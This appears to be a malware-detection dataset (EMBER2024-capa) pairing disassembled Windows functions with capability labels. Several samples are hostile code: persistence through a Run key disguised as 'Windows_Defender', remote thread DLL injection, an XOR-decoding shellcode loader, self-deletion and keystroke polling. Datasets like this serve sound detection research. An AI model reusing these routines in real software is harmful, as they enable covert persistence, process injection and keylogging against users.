joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001c940
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x1001c9db
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x1001c992
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x1001c992
cmp esi, ebx
jge 0x1001c992
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x1001c9d5
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x1001c9d5
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x100252e4]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x100252e4]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x1001c9ed
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc

Function at 0x1001cc10
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
mov eax, dword [ebp + 8]
je 0x1001cc38
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1001cc52
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.100150f2
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10022930
leave
ret 4

Function at 0x1001ce20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x1001ce56
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1001ceb5
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.100150f2
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.100150f2
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.100150f2
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10022930
leave
ret 0x10
Function at 0x1001ced0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001cefc
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001cf2d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001cf2b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.100150f2
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001cf2d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10022930
leave
ret 8
Function at 0x10002cbc
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x10011c4c]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.1000b422
mov ebx, eax
cmp ebx, esi
je 0x10002d2f
lea ecx, [ebp - 0x74]
call fcn.10001502
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a812
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x10002d47
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.10002cbc
cmp eax, esi
jne 0x10002d79
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], 0x100
call ebx
test eax, eax
je 0x10002d37
lea ecx, [ebp - 0x74]
call fcn.10001502
push dword [ebp - 0x78]
mov ecx, edi
call fcn.10001493
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.10001502
mov eax, esi
jmp 0x10002d15
Function at 0x1000a6a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10011dac], 0
push esi
push edi
jne 0x1000a61a
call fcn.1000a586
test eax, eax
je 0x1000a65f
mov eax, dword [0x10011dac]
cmp eax, 1
jne 0x1000a63b
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1000a65f
jmp 0x1000a6a1
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1000a6a1
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000a663
xor eax, eax
jmp 0x1000a6a1
mov eax, dword [esi]
push dword [0x10011dac]
call edi
mov edi, eax
test edi, edi
je 0x1000a685
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1000a6a1
lea edi, [esi + 0xff0]
push esi
push dword [0x10011dac]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1000a68b
mov eax, esi
pop edi
pop esi
ret
jmp 0x1000a606

Function at 0x1000a812
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10011c4c]
jne 0x1000a81c
repz ret
jmp fcn.1000b021

Function at 0x1000b422
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x1000b431
pop dword [ebp - 0x44]
mov eax, 0x9eccf13
add eax, 0x613e51e
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x394a8
push 0
mov eax, 0x885e6f91
sub eax, 0x785dae81
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0x5062
mov edx, eax
mov esi, 0x1001c600
add esi, dword [ebp - 0x44]
mov ebx, 0xe3eb5b3a
xor dword [ebp - 8], 0xfea75d8
mov edi, dword [esi]
sub dword [ebp - 0x20], ebx
xor edi, ebx
xor dword [ebp - 4], eax
mov dword [edx], edi
xor dword [ebp - 0x20], 0x8ceec00c
add edx, 0x42ba03d4
sub edx, 0x42ba03d0
add esi, 0x8df53e0a
add esi, 0x720ac1fa
loop 0x1000b47e
add eax, 0x1345b
xor ebx, ebx
add ebx, eax
add eax, 0x6836e7d
add eax, 0xf97c9188
mov ecx, 0x10000000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x4025ea
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402629
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402629
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402629
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402629
cmp dword [ecx + 0x74], 0xe
jbe 0x402629
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x61dc12f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x61dc1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x61dc1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x61dc132c
mov eax, 1
jmp 0x61dc1331
mov eax, 0
leave
ret

Function at 0x61dc1333
Capabilities:
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x444
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0x104
call sym._GetCurrentDirectoryA_8
sub esp, 8
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcpy
lea eax, [ebp - 0x418]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x418]
add eax, edx
mov word [eax], 0x5c
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcat
lea eax, [ebp - 0x41c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x41c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x418]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Windows_Defender
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x41c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x61dc14ca
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x61dc17ed
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x61dc1b80
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x61dc603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x61dc6034]
sub esp, 4
test ebx, ebx
je 0x61dc1bcb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x61dc1bc4
test esi, esi
je 0x61dc1bc4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x61dc1ba0
mov dword [esp], 0x61dc603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x61dc1db0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x61dc41c4
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x61dc1e00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x61dc1ed8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x61dc1e3e
cmp eax, 4
jne 0x61dc1e60
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x61dc1e4e
cmp edx, 4
je 0x61dc1e4e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.61dc1db0
Function at 0x10028530
Capabilities:
Check if file exists
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100440b0
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x10056018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [ebp - 0x28]
call fcn.1003b960
cmp dword [eax + 0x10], 0
mov ebx, dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]
setne al
cmp dword [ebp - 0x14], 8
mov byte [ebp - 0x41], al
jb 0x10028586
push dword [ebp - 0x28]
call ebx
mov al, byte [ebp - 0x41]
add esp, 4
xor ecx, ecx
xor edi, edi
test al, al
mov eax, dword [0x1005776c]
mov word [ebp - 0x28], cx
mov ecx, 0xd
cmove edi, ecx
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
test eax, eax
jne 0x100285c0
call fcn.10019710
mov ecx, eax
call fcn.1003b960
mov dword [0x1005776c], eax
mov ecx, dword [eax + 8]
cmp ecx, 0xffffffff
jne 0x100285ce
cmp dword [eax + 4], 0
je 0x100285dc
cmp ecx, 1
sete al
test al, al
je 0x100286b6
test edi, edi
jne 0x100286b6
xor eax, eax
push 0xffffffffffffffff
mov dword [ebp - 0x30], edi
push eax
lea edi, [esi + 0x24]
push edi
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
call fcn.1003b960
mov dword [ebp - 4], 1
cmp dword [edi + 0x14], 8
mov dword [edi + 0x10], 0
jb 0x1002861b
mov eax, dword [edi]
jmp 0x1002861d
mov eax, edi
xor ecx, ecx
mov word [eax], cx
cmp dword [esi + 0x4c], ecx
je 0x100286a1
cmp dword [esi + 0x50], 8
lea ebx, [esi + 0x3c]
jb 0x10028634
mov eax, dword [ebx]
jmp 0x10028636
mov eax, ebx
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
cmp eax, 1
jne 0x1002869b
cmp dword [ebx + 0x14], 8
jb 0x1002864a
mov ebx, dword [ebx]
push ebx
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
test eax, eax
je 0x1002869b
cmp byte [esi + 0x58], 0
mov ecx, esi
je 0x10028664
call fcn.1003b960
jmp 0x10028669
call fcn.1003b960
cmp dword [edi + 0x14], 8
jb 0x10028671
mov edi, dword [edi]
cmp dword [ebp - 0x2c], 8
push 0xb
lea eax, [ebp - 0x40]
cmovae eax, dword [ebp - 0x40]
push edi
push eax
call dword [sym.imp.kernel32.dll_MoveFileExW]
call fcn.1003b960
test al, al
je 0x1002869b
call fcn.1003b960
mov edx, eax
call fcn.1003b960
mov ebx, dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]
inc dword [esi + 0x54]
cmp dword [ebp - 0x2c], 8
mov dword [esi + 0x64], 0
jb 0x100286fe
push dword [ebp - 0x40]
jmp 0x100286f9
push 3
xor eax, eax
push 0x10049c34
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
call fcn.1003b960
lea ecx, [esi + 0x3c]
push 0
lea edx, [ebp - 0x28]
mov dword [ebp - 4], 0
call fcn.1003b960
add esp, 4
cmp dword [ebp - 0x14], 8
jb 0x100286fe
push dword [ebp - 0x28]
call ebx
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003fc71
mov esp, ebp
pop ebp
ret
Function at 0x405fc0
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x34
mov al, byte [0x5f97a8]
mov dword [esp + 0x14], ecx
push ebx
push ebp
push esi
push edi
test al, al
jne 0x405ffd
mov eax, dword [ecx]
push ecx
mov ecx, dword [eax*4 + 0x470448]
call fcn.00454380
add esp, 4
test al, al
je 0x406152
mov byte [0x5f97a8], 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34
ret
cmp al, 1
jne 0x406152
push ecx
mov ecx, 0x46f31c
call fcn.00454380
add esp, 4
lea ecx, [esp + 0x18]
call fcn.00402370
mov ebx, dword [esp + 0x18]
mov edi, dword [esp + 0x1c]
cmp ebx, 0xfbd3e27f
jne 0x406034
cmp edi, 0x7fffffff
je 0x406051
cmp edi, 0x7fffffff
jg 0x406051
jl 0x406046
cmp ebx, 0xfbd3e27f
jae 0x406051
add ebx, 0x42c1d80
adc edi, 0
jmp 0x406060
or ebx, 0xffffffff
mov edi, Ordinal_2
nop dword [eax]
lea ecx, [esp + 0x28]
call fcn.00402370
mov ebp, dword [esp + 0x28]
mov esi, dword [esp + 0x2c]
cmp ebx, ebp
jne 0x40607d
cmp edi, esi
je 0x406124
cmp edi, esi
jl 0x406124
jg 0x40608f
cmp ebx, ebp
jb 0x406124
call dword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
push 0
push 0x64
push edx
push eax
call fcn.0046c300
mov dword [esp + 0x10], eax
mov eax, ebx
sub eax, ebp
mov dword [esp + 0x14], edx
mov ebp, edi
mov dword [esp + 0x18], eax
sbb ebp, esi
mov ecx, eax
mov edx, ebp
call fcn.0046c510
comisd xmm0, xmmword [0x56ff40]
jbe 0x4060d9
mov esi, dword [esp + 0x10]
mov ecx, 0xad160000
mov ebp, 0x311cd
add esi, ecx
jmp 0x4060e3
mov ecx, dword [esp + 0x18]
mov esi, ecx
add esi, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
add eax, ecx
mov ecx, dword [esp + 0x14]
push 0
push 0x3b9aca00
adc ecx, ebp
push ecx
push eax
call fcn.0046c170
mov dword [esp + 0x30], eax
imul eax, eax, 0x3b9aca00
mov dword [esp + 0x34], edx
sub esi, eax
lea eax, [esp + 0x30]
push eax
mov dword [esp + 0x3c], esi
call dword [sym.imp.MSVCP140.dll__Thrd_sleep]
add esp, 4
jmp 0x406060
mov edi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov esi, 0x4701a8
mov ebx, dword [esp + 0x24]
push dword [esi]
call edi
test ax, ax
je 0x406147
mov eax, dword [esi]
mov dword [ebx], eax
mov byte [0x5f97a8], 0
add esi, 4
cmp esi, 0x470440
jne 0x406133
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34
ret
Function at 0x406160
Capabilities:
Copy file
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46c655
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x134
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 8
lea eax, [ebp - 0x140]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x24]
call fcn.0041a8c0
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 0
call fcn.0041a8c0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x24]
cmp dword [ebp - 0x10], 0xf
cmova eax, dword [ebp - 0x24]
push eax
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
add esp, 8
test eax, eax
je 0x4061fc
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, 0x46e79a
call fcn.00412700
push 0x412910
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
cmp dword [ebp - 0x10], 0xf
lea eax, [ebp - 0x24]
push dword [ebp - 0x14]
cmova eax, dword [ebp - 0x24]
mov ecx, 0x5f84fc
push eax
call fcn.004123a0
cmp dword [ebp - 0x28], 0xf
lea ecx, [ebp - 0x3c]
push 0
cmova ecx, dword [ebp - 0x3c]
lea eax, [ebp - 0x24]
cmp dword [ebp - 0x10], 0xf
push ecx
cmova eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.New_Copy:
call fcn.00412700
cmp dword [ebp - 0x10], 0xf
lea edx, [ebp - 0x24]
push dword [ebp - 0x14]
cmova edx, dword [ebp - 0x24]
mov ecx, eax
call fcn.00412f60
add esp, 4
mov ecx, eax
push 0x412910
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [ebp - 0x28]
cmp ecx, 0xf
jbe 0x40629a
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406290
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4062d2
push ecx
push edx
call fcn.0046b50d
add esp, 8
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
cmp ecx, 0xf
jbe 0x4062e2
mov edx, dword [ebp - 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4062d8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4062d8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0046b50d
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret